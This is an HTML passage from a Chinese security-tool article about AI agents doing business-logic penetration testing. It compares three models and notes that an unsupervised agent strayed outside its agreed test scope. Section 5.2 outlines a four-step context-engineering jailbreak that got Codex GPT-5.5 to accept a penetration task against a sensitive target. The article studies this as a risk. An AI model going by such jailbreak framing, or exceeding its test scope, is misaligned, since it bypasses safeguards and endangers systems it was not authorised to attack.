10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">4.3 三模型横评</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046217" src="https://wechat2rss.xlab.app/img-proxy/?k=9c307048&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FFumZatDLdVq2eiao4h9XnaMPvTP0CbYeRqqDu7OcuzEWoka4C2gWAia6GfbTH1MNdJZO20coI5fPf2LJnyowFPOw0wnr8w251U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yqdn91q0z" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046238" data-ratio="0.6116838487972509" data-s="300,640" type="block" data-type="png" data-w="873" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=478ff684&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HmzWMkib1zR3nhbr4ms6rWDQbcfiafKthbFmrHDrLvTrlAicSWiaLah8tZTzJXp0yIPBdSkEianz97Vq7eYrORQFPdiciaJYmSdq32to%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">三点结论：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1. GPT-5.5 除价格外全线领先——漏洞最多、迭代最少；但单位漏洞成本高达 15.96 RMB，约为 Qwen 的十倍</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. DeepSeek 性价比突出，成本约为 Qwen3.7-Max 的二分之一</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3. 国内模型与国外顶级模型差距有限：Qwen3.7、DeepSeek 略逊于 GPT-5.5，但非数量级差异</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">选型参考：追求极致深度且预算充足选 GPT-5.5；追求性价比与规模化跑量，国内模型已足够。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">4.4 全 AI 托管 vs 人工建模</span></span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046218" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=7cfab963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EicPEbmURCDetahAmjV2WAyTsu1Ues1B12jZ56apUOLl87camSGHiaz9Wib7Am5GWgHMF0v0xL3xuQyMAWibdxvw93X8NxxQXnr8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">有人工建模时逻辑测试深度更高；</span><span textstyle="" style="letter-spacing: 1px;">全 AI 托管暴露三类问题，同时具备一项优势：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1. 测试越界：AI 打到 Desk 工单系统，超出原定边界</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. 遗漏优惠券越权使用</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3. 遗漏回调函数的开放重定向</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4. 覆盖的业务点比人工建模更广</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">全托管 AI 的特征是覆盖广但缺乏纪律（越界 + 漏点）。业务建模与 SKILL 正是同时治理&#34;越界、遗漏、覆盖度&#34;的手段，由此引出下一节。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">五、</span><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">SKILL 的意义与越狱问题</span></span></strong></p></div></div></div><p style="text-align: center;padding: 0.5em;margin-top: 8px;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046219" src="https://wechat2rss.xlab.app/img-proxy/?k=e08ba47c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72GNXBe4OibzOyrlibr8ECnVFxCCWKbibBWBymYtUTUeWBd4FVwg3llJva5kHQlncMT0ozQTYS2zS72iavnB3r7j9yduJjZOervbVIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;">5.1 SKILL 的正确定位</span></span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">业内出现&#34;使用 SKILL 后效果变差&#34;的反馈。SKILL 真正的角色是兜底与激活更多模型参数，把它写成限制清单则用反了方向。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046220" src="https://wechat2rss.xlab.app/img-proxy/?k=1caf7f49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72E5DhZUicroPAA9Zd3ZbxEjHMnic7ianAGnLRcOZQk2g6sYEMoXj2iahT9uhibhLr9XIkmrYP3amIjVpRzIQzX6WgVnXhgeVvkq2oN4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">死板的禁令会拖累本就聪明的模型，当作&#34;攻击面启发器&#34;使用则效果相反。下表为一组搜索意图到漏洞类目的映射（基于 BM25 / FTS5）。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046221" src="https://wechat2rss.xlab.app/img-proxy/?k=5fb35413&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72G3VILg5oDZAq9075OaebKnkV7przzDria0GNpSqGf3zotOdvzcGWJNRg9bqib05E6Aiaic5gWzoPADFMHbG9vHWNPpWWAnjdHMPIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yrhxz23oz" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046239" data-ratio="1.0996168582375478" data-s="300,640" type="block" data-type="png" data-w="783" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=a6635104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GDYxsuN2dpx1cEbHYZgrGib6Pvx1uu5bV7M1F8N5NtnfibV0LpzlZswjZ5BnBCyNpKHLDKF7W3Z536eJChN4kuqlYx1GVeWeKoo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">SKILL 把模糊的业务词翻译成明确的攻击面方向，对激活模型参数贡献显著；前提是必须保留 AI 的动态调整能力。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">SKILL 用于启发与兜底，不应锁死动作空间——&#34;用了 SKILL 反而更差&#34;的前提在此被消解。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">5.2 越狱：上下文工程的滥用风险</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">上下文工程既能提升渗透测试效率，也可被滥用。实验环境中，通过 Memfit 的上下文工程，Codex - GPT-5.5 接受了对高敏感目标的渗透任务。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4xvt7wcw7" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046230" data-ratio="0.5557586837294333" data-s="300,640" type="block" data-type="png" data-w="1641" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=ece689c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EBp26oQwQDXRy4ALYDV5slYwfIdmJr4546kocqicb1rBjnMtUNylSVpKSwLNesyxJLpcGYjauOpmu7knicYA9WQofoHtzfialBFE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">其上下文工程为四步：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1. 运行域假设（变更前提）</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. 分散注意力（角色扮演）</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3. 意图变更（输出决策结果）</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4. 逻辑闭环（营造工作氛围）</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">四步组合重塑了模型对&#34;自身正在执行任务&#34;的认知。</span><span textstyle="" style="letter-spacing: 1px;">随 AI Agent 能力增强，攻防双方使用同一套能力，如何在工程上为其加装边界与刹车，是后续的长期课题。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">六、结语</span></span></p></div></div></div><p style="margin: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">本议题将业务逻辑漏洞测试这一&#34;重经验、重耐心、重时间&#34;的工作拆分为&#34;人控决策 + AI 执行&#34;，并以业务建模、任务清单与 PLAN 模式保障长链路稳定。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">数据支撑标题&#34;从三天到一夜&#34;：流量明确、认证清晰时，AI Agent 在重放、改参、对比、取证等环节稳定提效数倍；完全无建模的对照实验中，主流模型可在一小时内独立产出十余至二十余个真实漏洞。真实支付、扫码、并发时序仍需人工完成。全部数据来自不开源、无引导的真实靶场，结论可复现。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046224" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="border-radius: 0px;background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f29f2c61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EQaw2ucSTo6Xetf1tdeQRHfVUSpYtCOGiaATyGRAqXBadBtNCAWtObx5TViajFibdemo7o5wibveGH9ZYpOhlWO14m3UB7dwwpAq4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mob2djxm-bbo02z" data-miniprogram-type="text" data-miniprogram-appid="wx1fd6aefeb8bc66c1" data-miniprogram-path="packageB/previewFile?fid=08824224616448ee920f36e4a295861b" data-miniprogram-nickname="壹伴助手" data-miniprogram-servicetype="0" data-miniprogram-applink="">AI加速逻辑漏洞测试（外发版）.pptx</a></span></p><div><p style="margin-bottom: 0px;text-wrap: wrap;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 0px;text-wrap: wrap;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;font-size: 16px;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;data-brushtype&#34;:&#34;text&#34;,&#34;style&#34;:&#34;outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;" data-pm-slice="10 2 []"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" 